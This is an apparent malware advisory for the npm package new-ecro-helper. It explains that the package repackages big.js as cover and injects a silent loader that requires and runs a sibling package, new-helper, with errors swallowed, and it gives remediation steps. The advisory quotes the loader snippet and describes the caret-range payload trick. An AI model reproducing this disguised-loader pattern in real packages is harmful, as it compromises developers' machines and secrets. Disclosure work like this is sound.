MAL-2026-6283 Malicious code in new-ecro-helper (npm)
- Package
- new-ecro-helper
- Registry
- npm
What is MAL-2026-6283?
MAL-2026-6283 is a malicious package in new-ecro-helper, published on 23 Jun 2026.
Official description
The package publishes verbatim big.js v7.0.1 source (including the upstream copyright header, README, repository URL pointing to MikeMcl/big.js, and the upstream author's email) under the unrelated name new-ecro-helper. The main entry (big.js / big.mjs) has an injected loader block that runs on every require('new-ecro-helper'): try { const doc = require("new-helper"); doc.from_str().then(...).catch(...) } catch (error) { }. The dependency new-helper is declared as ^5.8.1 in package.json, so the semver caret admits any current or future 5.x.y version of that sibling package as the actual delivered payload. All errors from both the require and the invocation are swallowed by empty catch handlers, hiding the activity from the consuming application. The big.js code itself is unmodified and serves only as a cover library to disguise the loader. The net effect on installers: npm install new-ecro-helper pulls new-helper into the dependency tree, and any consumer that requires the package immediately and silently executes code in that sibling package.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
What should I do about MAL-2026-6283?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-85xv-pw78-4hqp.